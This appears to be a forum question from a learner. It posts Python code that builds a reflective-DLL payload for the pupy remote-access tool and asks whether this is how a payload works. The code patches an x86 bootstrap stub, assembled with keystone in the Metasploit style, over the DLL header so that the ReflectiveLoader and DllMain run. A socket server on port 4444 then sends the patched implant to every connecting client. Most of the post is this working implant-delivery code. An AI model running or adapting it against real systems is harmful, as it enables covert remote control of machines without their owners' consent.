Hello as the name indicates I am trying to create my own payload in python since I have always been curious about how they are made or how they are mounted. Well the following code in principle would be a payload made in python (correct me if I'm wrong in something). This is:
import struct
import socket
import sys
import pefile
import keystone
exit_types = {
'' : 0, # Default to nothing
'seh' : 0xEA320EFE, # SetUnhandledExceptionFilter
'thread' : 0x0A2A1DE0, # ExitThread
'process' : 0x56A2B5F0, # ExitProcess
'none' : 0x5DE2C5AA # GetLastError
}
def create_payload(source='pupy.dll', exit='thread'):
dll = open(source, 'rb').read()
pe = pefile.PE(data=dll)
offset = 0
ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32)
ks.syntax = keystone.KS_OPT_SYNTAX_INTEL
for entry in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if 'ReflectiveLoader' in entry.name:
offset = pe.get_offset_from_rva(entry.address)
break
print '[+] Reflective loader offset: {}'.format(offset)
asm = '''
dec ebp ; 'M'
pop edx ; 'Z'
call 7 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, 0x{rdi:08x}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
push edi ; push the socket handle
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
mov ebx, eax ; save DllMain for another call
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
push 0x{exit:08x}
push 5 ; indicate that we have detached
push eax ; push some arbitrary value for hInstance
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
'''.format(rdi=offset-7, exit=exit_types[exit])
bytecode, _ = ks.asm(asm)
bytecode = ''.join(map(chr, bytecode))
dll = bytecode + dll[len(bytecode):]
return dll
s = socket.socket()
s.bind(("0.0.0.0", 4444))
s.listen(10) # Acepta hasta 10 conexiones entrantes.
payload = create_payload()
while True:
sc, address = s.accept()
print address
sc.send(struct.pack('<I', len(payload)))
x = sc.send(payload)
print 'Sent: {}/{}'.format(x, len(payload))
In this case, it would generate a payload for pupy, which is an open source project for educational purposes. So what the shellcode is supposed to be what is in assembler or asm and all the code would be a payload. It is rather generic question in which I try to show some example of how to make my own payload with its own shellcode (script) even if it is a known example and more or less understand a bit that would be part of my payload and the shellcode (my script) .